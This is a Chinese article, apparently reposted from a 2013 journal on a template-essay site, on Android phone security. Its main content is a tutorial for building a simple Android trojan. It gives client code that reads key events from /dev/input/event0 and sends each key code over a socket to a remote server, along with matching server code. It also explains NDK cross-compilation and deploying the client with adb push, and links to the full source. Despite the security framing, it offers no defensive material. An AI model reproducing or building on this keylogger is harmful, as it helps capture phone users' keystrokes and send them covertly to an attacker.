当前位置: 首页 > 范文大全 > 公文范文 >

浅谈安卓手机安全及安卓手机木马编程

时间:2022-10-27 16:55:05 来源:网友投稿

摘 要:随着手机使用的普及,手机职能技术越来越先进,大部分手机都安装了最为先进的智能系统,不仅可以通话,同时还具备多种上网功能、在线购物付款功能、在线炒股、在线转账等功能,这些功能的加入同时也使得手机的安全性越来越受到威胁,因此研究现阶段智能手机的安全功能保障及相应的故障防卫编程成为智能手机发展的重要课题之一。

关键词:安卓手机;木马程序;编码

中图分类号:TP309.5 文献标识码:A 文章编号:1674-7712 (2013) 14-0000-01

在智能手机风生水起的时代,安卓智能手机占据了大部分席位,就最新统计的数据来看,Android智能手机在中国的占有率为86%。所以,正如Windows操作系统有如此多的用户一样,不可避免的会带来安全性问题。随着智能手机的普及,手机的安全性也变得越来越热门和重要。

android系统是一个以Linux为基础的半开源操作系统,其内核属于Linux内核的一个分支,具有典型的Linux调度和功能。所以,一个Native C程序,经过交叉编译,完全可以在Android系统上运行。

我们的目标是编写一个简单的手机木马,这个木马分为服务端和客户端两个部分,实现的功能是客户端可以获取手机的按键信息,并把信息发送给服务端。

核心源码如下:

其实这个手机木马就是通过socket连接来编写的,socket部分大家都应该比较清楚了,那就讲讲字符处理的部分吧。

服务端部分:服务端的核心部就是接收客户端发送的信息,并显示出来。

int main(int argc, char *argv[]){ /*省略部分代码,以下为核心代码*/

while((len=recv(client_sockfd,buf,BUFSIZ,0))>0)

{ printf("%s\n",buf); memset(buf,"\0",BUFSIZ);

if(send(client_sockfd,buf,len,0)<0)

{ perror("write");return 1; } }

close(client_sockfd);close(server_sockfd);return 0;}

客户端部分:客户端的主要核心代码部分就是循环读取手机的字符存储设备,并发送给服务端。

int main(void){ /*省略部分代码,以下为核心代码*/

event0_fd = open("/dev/input/event0", O_RDWR);

if ( event0_fd < 0 ) return -1; printf("Start...\n");

while (1){ rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);

if ( rd < sizeof(struct input_event) ) return 0;

for (i = 0; i < rd / sizeof(struct input_event); i++)

{if (ev0[i].type == 1&&ev0[i].value == 1)

{ printf("The key code is: %3d\n", ev0[i].code);

if (ev0[i].code == 158){ break; }

memset(buf,"\0",BUFSIZ);sprintf(buf,"%d",ev0[i].code);

len=send(client_sockfd,buf,strlen(buf),0); }}}}

源码中已经给出了很多注释,下面就来简单的分析一下源码,其实就是简单的Socket编程。

服务端程序就是不停的等待客户端发送的信息,这里就不再赘述,重点来看一下客户端程序。客户端的核心功能是获取手机的按键信息。

我们先拿起手机,在终端模拟器中键入:ls /dev/input,好的,我们看到了一些东西,比如event0,event1,event2等等,而event0正是我们所需要的,就是Android的按键子系统。

接下来就可以从/dev/input/event0中获取我们所需要的信息了,这部分的关键代码就是:

event0_fd = open("/dev/input/event0", O_RDWR);

rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);

if ( rd < sizeof(struct input_event) ) return 0;

for (i = 0; i < rd / sizeof(struct input_event); i++)

{if (ev0[i].type == 1&&ev0[i].value == 1) {printf("The key code is: %3d\n", ev0[i].code); if (ev0[i].code == 158){break;} }

然后通过send就可以向服务端发送所截取的信息了。

源码就分析到这里了,接下来讲讲交叉编译及adb的简单使用。(Linux环境下进行)。

交叉编译作者用的是Android NDK自带的工具链中的arm-linux-androideabi-gcc,当然还有许多其他的编译器可以选择。服务端直接用gcc就可以了。

下面进行Makefile文件的部分分析,源码见链接地址下载:见最后的链接地址。

Makefile中的NDKHOME即为存放android-ndk工具链的目录,这个Makefile直接就将服务端和客户端一同编译了。服务端用gcc编译器,客户端用arm-linux-androideabi-gcc编译。

将Makefile与服务端和客户端放在同一文件夹,然后直接用make工具编译一下就可以了。

说到adb,其实就是Android Debug Bridge,就是一款调试工具。在使用adb前需要在shell中添加环境变量。

ADB=’/home/young/Downloads/adt-bundle-linux-x86-20130219/sdk/platform-tools’

PATH=$PATH:$ADB

环境变量根据自己系统环境自己修改即可。

接下来,我们打开Android模拟器,然后在linux 终端中键入adb shell就进入了模拟器中的shell环境,当然在这之前,先得把编译好的客户端程序传到模拟器中去。命令如下:

adb push client /dev/client这样客户端程序就成功上传上去了。

接下来在linux终端中运行server,在adb shell进入的模拟器终端中执行client就可以看到程序互动了。

备注:文章中代码可能比较乱,源码可以去以下网址下载:

http://pan.baidu.com/share/link?shareid=2491385791&uk=825210736

参考文献:

[1]李志锋,林恩华.智能手机的数据业务分析手段[J].科技情报开发与经济,2011(07).

[2]周晓宇.智能手机的信息安全风险及监管对策研究[J].黑龙江科技信息,2010(20).

[3]庄小岚.智能手机面临安全威胁[J].信息安全与通信保密,2011(03).

[4]李群祖,于刘海.智能手机恶意代码分析与对策[J].计算机安全,2011(06).

[作者简介]吴栋,杭州电子科技大学,研究方向:计算机安全、手机安全、windows编程、linux编程。

相关热词搜索: 手机 浅谈 木马 编程